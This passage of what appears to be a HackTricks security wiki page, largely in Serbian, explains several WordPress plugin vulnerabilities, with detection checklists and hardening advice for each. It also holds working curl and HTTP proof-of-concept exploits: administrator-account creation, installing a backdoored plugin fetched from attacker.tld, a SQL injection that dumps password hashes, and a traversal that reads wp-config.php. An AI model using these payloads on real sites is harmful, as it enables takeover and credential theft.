Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Why it’s exploitable

  • Osetljiva REST ruta zaštićena samo niskom-entropy potvrdom identiteta (username) ili bez permission_callback
  • Nema provere capability; generisani ključ se prihvata kao univerzalno zaobilaženje

Detection checklist

  • Grep-ujte plugin kod za register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
  • Bilo koja ruta koja izdaje tokens/keys bazirane na identitetu dostavljenom u zahtevu (username/email) bez vezivanja za autentifikovanog korisnika ili capability
  • Potražite naknadne rute koje prihvataju generisani token/key bez server-side provera capability

Hardening

  • Za sve privilegovane REST rute: zahtevati permission_callback koji izvršava current_user_can() za potrebnu capability
  • Ne generišite long-lived ključeve iz identity koje dostavi klijent; ako je neophodno, izdajte short-lived, user-bound tokene posle autentikacije i ponovo proverite capability pri upotrebi
  • Validirajte korisnički kontekst pozivaoca (wp_set_current_user nije sam po sebi dovoljan) i odbacite zahteve gde !is_user_logged_in() || !current_user_can()

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)

Nonces sprečavaju CSRF, ne autorizaciju. Ako kod tretira nonce prolaz kao zeleno svetlo i zatim preskače provere capability za privilegovane operacije (npr. install/activate plugins), neautentifikovani napadači mogu zadovoljiti slab zahtev za nonce i dostići RCE instaliranjem backdoored ili ranjivog plugina.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers koji menjaju plugins/themes koristeći samo wp_verify_nonce()/check_admin_referer() i bez capability check
  • Bilo koji code path koji postavlja $skip_caps = true nakon nonce validacije

Hardening

  • Uvek tretirajte nonces samo kao CSRF tokens; enforce capability checks bez obzira na stanje nonce-a
  • Zahtevati current_user_can(‘install_plugins’) i current_user_can(‘activate_plugins’) pre nego što se dosegne installer code
  • Odbacite neautentifikovan pristup; izbegavajte izlaganje nopriv AJAX actions za privileged flows

Subscriber+ AJAX plugin installer → prisilna maliciozna aktivacija (Motors Theme ≤ 5.6.81)

Patchstack’s analysis je pokazao kako Motors theme isporučuje authenticated AJAX helper za instalaciju svog companion plugina:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Samo se poziva check_ajax_referer(); ne postoji current_user_can('install_plugins') ili current_user_can('activate_plugins').
  • Nonce je ugrađen u Motors admin stranicu, tako da svaki Subscriber koji može da otvori /wp-admin/ može da ga kopira iz HTML/JS.
  • Handler veruje parametru plugin kontrolisanom od strane napadača (čitano iz $_GET) i prosleđuje ga u Plugin_Upgrader::install(), tako da se proizvoljan remote ZIP preuzima u wp-content/plugins/.
  • Nakon instalacije, tema bezuslovno poziva mvl_theme_activate_plugin(), što garantuje izvršavanje PHP koda napadačevog plugina.

Tok eksploatacije

  1. Registrujte/kompromitujte nalog sa niskim privilegijama (Subscriber je dovoljan) i preuzmite mvl_theme_install_base nonce iz Motors dashboard UI.
  2. Napravite plugin ZIP čiji top-level direktorijum odgovara očekivanom slug-u motors-car-dealership-classified-listings/ i ubacite backdoor ili webshell u *.php entry point-e.
  3. Hostujte ZIP i pokrenite installer tako što ćete handler usmeriti na vaš URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

Pošto handler čita $_GET['plugin'], isti payload se može poslati i putem query stringa.

Detection checklist

  • Pretražite teme/plugine za Plugin_Upgrader, Theme_Upgrader, ili custom install_plugin.php helper-e povezane na wp_ajax_* hooks bez capability checks.
  • Pregledajte svaki handler koji prihvata parametar plugin, package, source, ili url i prosleđuje ga u upgrader APIs, posebno kada je slug hard-coded ali sadržaj ZIP-a nije validiran.
  • Pregledajte admin stranice koje izlažu nonces za installer actions—ako Subscribers mogu učitati stranicu, pretpostavite da nonce leaks.

Hardening

  • Gate installer AJAX callbacks with current_user_can('install_plugins') and current_user_can('activate_plugins') after nonce verification; Motors 5.6.82 introduced this check to patch the bug.
  • Refuse untrusted URLs: limit installers to bundled ZIPs or trusted repositories, or enforce signed download manifests.
  • Treat nonces strictly as CSRF tokens; they do not provide authorization and should never replace capability checks.

Neautentifikovani SQLi via s (search) parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

Više depicter-* akcija je koristilo s (search) parametar i spojilo ga u SQL upite bez parameterizacije.

  • Parametar: s (search)
  • Propust: direktna konkatenacija stringova u WHERE/LIKE klauzulama; nema prepared statements/sanitization
  • Uticaj: database exfiltration (users, hashes), lateral movement

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep-ujte za depicter-* action handlers i direktnu upotrebu $_GET[‘s’] ili $_POST[‘s’] u SQL
  • Pregledajte prilagođene upite prosleđene $wpdb->get_results()/query() koji konkateniraju s

Hardening

  • Uvek koristite $wpdb->prepare() ili wpdb placeholders; odbacite neočekivane metakaraktere na serverskoj strani
  • Dodajte strogu listu dozvoljenih vrednosti za s i normalizujte na očekivani charset/dužinu

Neautentifikovana Local File Inclusion putem unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Prihvatanje putanja koje kontroliše napadač u template parametru bez normalizacije/ograničenja omogućava čitanje proizvoljnih lokalnih fajlova, i ponekad izvršavanje koda ako su includable PHP/log fajlovi učitani u runtime.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Propust: nema normalizacije/strikte liste dozvoljenih; traversal dozvoljen
  • Impact: otkrivanje tajni (wp-config.php), potencijalni RCE u specifičnim okruženjima (log poisoning, includable PHP)

PoC – pročitaj wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Kontrolna lista za detekciju

  • Bilo koji handler koji konkatenira putanje zahteva u include()/require()/read sink-ove bez ograničenja pomoću realpath()
  • Tražite obrasce traversal-a (../) koji izlaze izvan namenjenog direktorijuma predložaka

Pojačavanje bezbednosti

  • Sprovodite allowlistu predložaka; rešavajte sa realpath() i zahtevajte str_starts_with(realpath(file), realpath(allowed_base))
  • Normalizujte ulaz; odbacite traversal sekvence i apsolutne putanje; koristite sanitize_file_name() samo za imena fajlova (ne za cele putanje)

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks